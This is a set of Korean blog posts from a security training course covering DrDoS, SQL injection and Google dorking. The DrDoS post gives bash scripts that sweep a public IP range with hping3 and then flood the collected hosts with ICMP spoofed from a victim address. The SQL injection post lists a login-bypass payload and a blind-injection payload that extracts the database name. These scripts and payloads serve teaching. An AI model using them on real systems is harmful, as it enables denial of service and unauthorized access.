[Dos - DrDoS의 개념]

DoS(Denial of Service)는 서비스를 제공하는 서버에 트래픽 양을 증가시켜 서비스가 불가능한 상태로 만드는 것이다.
** 참조 - https://en.wikipedia.org/wiki/Denial-of-service_attack

DoS 공격 방법은 여러가지가 있지만 그 중에서 DrDos에 대해서 알아보자.


DrDos(Distributed Reflection Denial of Service)는 좀비를 사용하여 공격을 시도하는 DDoS(Distributed Denial of Service)와는 달리 공격자가 다른 시스템들의 정보를 도용하여 마치 다른 시스템들이 공격을 시도하는 것처럼 보이도록 유도하여 공격하는 기법이다.

말이 말밥 같으니 실제 공격을 진행하면서 통해 개념을 잡아보도록 하자.


[DrDoS 공격의 실제 feat. ping of death]

준비: VMWARE(Kali 2.0, Ping 공격이 가능한 공격 대상 PC)

수집한 시스템들의 IP정보를 활용하여 공격대상 시스템에 지속적으로 ping을 가할 것이다. 공격 받은 시스템은 자신이 요청하지 않은 ping에 대한 처리 때문에 메모리를 사용하여 시스템이 느려지게 될 것이다. 

공격의 절차는 아래와 같다.

1. 도용할 시스템들의 정보 수집(IP)

2. 공격 


1. 도용할 시스템들의 정보 수집(IP)

스트립트를 사용하여 사용가능한 ip주소를 수집하는 스크립트를 작성해 보자.

[test.sh]

index=65 while [ ${index} -le 255 ]; do echo "218.39.22.$index" hping3 -1 218.39.221.$index -c 1 sleep 3 index=$((index + 1)) done

- 'index'는 IP의 유동적인 부분을 값을 담을 변수

- while 문 안에 '-le'는 조건식 '>=' 을 나타낸다.

- do 아래줄은 while 문 중괄호 안에 있는 조건이 맞을때 수행되는 내용이다.

- 스크립트에서 변수를 표현할때는 '$'기호를 붙혀준다.

- while 문 수행이 끝나는 부분에 'done'을 입력한다.


위의 스크립트를 수행하여 출력되는 부분은 'text.txt'에 담아주고 에러가 발생하는 부분은 제거 하도록 아래의 명령어를 수행한다.

bash test.sh 1>test.txt 2> /dev/null


2. 공격


"test.txt" 파일 안에는 ping을 하고 난 결과 값이 다 들어있다. 우리가 필요한 것은 IP 값임으로 IP를 제외한 나머지 값들은 제거해 주어야 한다.


아래의 스크립트를 사용하여 IP주소만 따로 추출하고, 추출한 주소를 사용하여 ping을 날려 주자.

[DrDos.sh]

while :
do
	for i in `grep len test.txt | cut -d " " -f2 | sed 's/ip=//g'`
	do
	hping3 -1 -a 218.39.221.100  $i --faster -c 100
	done
	
done

- 'cut', 'sed' 명령어에 대한 후행 학습을 요한다.


공격을 받은 PC의 메모리 사용은 증가하고 심한 경우 시스템 사용자체가 힘들어진다.

반응형

'부산정보산업진흥원 > 보안' 카테고리의 다른 글

CentOS7 계정 취약점 관리  (0) 2017.07.07
Reverse Terminal  (0) 2017.07.06
은닉채널(Covert Channel)  (0) 2017.07.06
Posted by newind2000

[SQL Injection]

   웹에서 URL(Uniform Resource Locator) 또는 form에서의 SQL 요청 문을 활용하여 원하는 정보를 열람하는 것을 SQL Injection이라고 한다. SQL Injection을 사용하기 위해서는 기본적은 query문에 대한 이해가 필요하며, 웹 관리자가 설정해 놓은 SQL문을 파악하여 상황에 맞게 SQL Injection 공격을 해야 한다.  


   Form을 통해(ex: ID 혹은 패스워드 입력 form) SQL 문을 삽입하여 공격하는 form injection과 url에 SQL을 입력하는 URL injection으로 나눌 수 있다. SQL Injection 공격 시 일부로 오류를 유도하여 DB 구조에 대한 정보를 파악할 수 있는데, SQL 에러 메세지가 온전하게 나오는 경우 에러 부분을 수정함으로써 DB 자료 구조를 파악하는 Error Base SQL Injection과 에러메세지가 나오지 않는 경우 참과 거짓으로 DB 자료 구조를 파악하는 Blind SQL Injection 공격이 있다.

   웹 서버에 게시판을 구축 후, SQL Injection을 통해 가입 없이 로그인을 시도해 보자.



'아이디' 부분에 사용자가 입력한 정보를 SQL문을 활용하여 저장된 사용자 정보와 비교하는 SQL문을 사용할 것을 짐작할 수 있다. '아이디' form에 입력된 정보가 홑 따옴표(')로 감싸져 있을 것이라 예상하고 '아이디' 부분에 홑 따옴표를 먼저 입력해 주어 SQL 문에 전달한 값을 아래와 같이 SQL문 형식에 맞게 조작할 수 있다. 


ID = ' or 1=1 --


DB를 전달에 대한 요청을 하기 위해서는 첫째는 SQL문에 에러가 없어야 하고, 참과 거짓을 판변할 수 있는 구문으로 이루어 져야 한다. 조건 연산자 'or'을 사용한 후 그 후에 참의 값을 입력해 주면 그 구문은 참이 되게 된다. 그리고 뒤에 쿼리 부분에 대해서는 주석을 처리하는 '--'을 입력하여 뒤의 구문은 무효가 되도록 만들어주고 '확인'을 누르면 로그인이 가능해진다.



SQL문에 의도적으로 오류를 발생시킨 후 에러 메세지를 나타내어 DB구조를 파악하는 예를 살펴보자.

SQL문에서 'having'은 집계함수 'group by'를 사용한 후 특정 조건에 맞는 값만 추출하는 구문이다. 게시판 검색 form에 의도적으로 'having'을 삽입하여 에러를 발생시킨 후 에러를 하나씩 제거하면서 DB의 구조를 파악해 보자.



아래의 에러 메세지를 파악하여 어떤 SQL 서버를 사용하는지, 그리고 어떤 열의 이름을 파악할 수 있다.


위와 같이 친절하게 SQL 에러 코드가 제공되지 않는 경우에는 SQL 구문이 참 혹은 거짓임을 판단하여 DB의 구조를 파악하는 방법이 있다.

이미 특정 도메인에 회원가입을 한 상황이다. ID는 1111이고 비밀번호 또한 1111이다. 해당 웹에서 사용하는 db의 이름을 알고 싶다고 할 때, 문자 하나 하나를 일일히 입력하여 값과 거짓 값을 받아내면 시간은 걸리지만 원하는 정보를 알아낼 수 있다.

ID: 1111' and ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))) AS varchar(20)),2,1))=ASCII('a')--

비밀번호: 1111



참이라면 로그인이 될 것이고 거짓이라면 위와 같은 메세지가 뜬다.

완전 노가다... 프로그래밍이 필요하다.





반응형

'부산정보산업진흥원 > 웹 해킹 기초' 카테고리의 다른 글

구글 해킹(Google Hacking)  (0) 2017.06.07
웹 취약점 분석  (0) 2017.06.07
Posted by newind2000

[구글 해킹(Google Hacking)]


구글(Google) 검색 엔진에서 다양한 검색 옵션을 활용하여 웹 관리자들이 의도적으로 노출하지 않은 자료들을 검색 및 열람 할 수 있다.  아래는 구글 해킹의 기초가 되는 Googledork 자료이다.


googledork.pdf


검색 옵션을 간단히 정리하면 아래와 같다.

검색 옵션

설명

예시

큰 따옴표(“)

반드시 포함될 단어/문장을 지정한다.

해당 단어나 문장이 반드시 포함된 사이트만 검색할 수 있다.

“BITEC”

마이너스(-)

제외할 검색어를 지정한다.

해당 검색어를 제외한 결과를 표시해준다.

대한민국-부산

물결(~)

유의어를 검색 한다.

검색어와 비슷한 의미를 가진 자료를 보여준다.

~저렴한 맛집

Define:

단어의 정의를 검색한다.

해당 검색어의 정의를 보여준다.

Define:컴퓨터

Intitle:

특정 단어를 반드시 포함한 제목을 검색한다.

해당 단어가 포함된 제목만 골라서 검색 결과를 보여준다.

Intitle:BITEC

(*)

불확실한 검색어를 입력할 때 사용한다.

빈 자리를 채워서 결과를 표시해준다.

아이슈타인*이론

마침표 2(..)

숫자의 범위를 지정한다.

검색할 숫자 사이에 마침표 2(..)를 입력하면 숫자 범위 내의 검색 결과를 보여준다.

2010..2012년 축구경기

OR

두 단어 중 아무거나 검색한다.

두 단어 중 하나라도 포함되어 있는 검색 결과를 표시한다.

갤럭시or아이폰

Site:

특정 사이트 이내에서만 검색한다.

해당 주소를 가진 사이트 내에서 해당 단어를 포함한 자료만 검색된다.

Site:Bitec.org 교육

Rel:

특정 사이트와 관계된 사이트를 검색한다.

Rel:Bitec.org

Link:

특정 사이트를 링크한 모든 사이트를 검색한다.

해당 사이트가 링크된 모든 사이트를 보여준다.

Link:Bitec.org

Filetype:

특정 종류의 파일만 검색한다.

찾고자 하는 것을 입력하고 끝에 ‘filetype:확장자명을 추가하면 해당 파일만 검색해준다.

경영학원론 filetype:doc


아래의 웹 페이지에서 Google hacking database에 대해 열람할 수 있다.

EXPLOIT DATABASE - https://www.exploit-db.com/google-hacking-database/


** 원하지 않은 정보가 구글 검색에 노출될 경우 국글측에 정보 삭제를 요청하는 것도 구글 해킹 보안의 방법 중 하나이다.

반응형

'부산정보산업진흥원 > 웹 해킹 기초' 카테고리의 다른 글

SQL Injection  (0) 2017.06.07
웹 취약점 분석  (0) 2017.06.07
Posted by newind2000